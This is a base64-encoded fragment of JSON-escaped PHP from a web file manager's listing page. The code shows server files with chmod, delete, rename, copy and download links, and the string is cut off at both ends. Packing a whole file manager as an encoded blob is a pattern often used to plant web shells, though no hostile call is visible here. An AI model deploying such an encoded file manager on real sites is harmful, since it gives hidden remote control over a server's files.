AgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV